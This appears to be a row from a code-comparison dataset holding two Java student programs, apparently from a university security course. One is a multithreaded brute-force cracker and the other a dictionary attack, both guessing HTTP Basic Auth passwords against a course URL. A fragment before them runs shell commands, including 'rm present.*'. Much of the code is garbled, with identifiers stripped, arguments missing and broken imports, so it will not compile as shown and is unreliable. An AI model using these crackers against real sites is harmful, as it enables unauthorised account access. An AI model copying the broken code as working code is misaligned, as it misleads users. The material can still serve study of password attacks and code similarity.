mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
062.java | 051.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
| import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|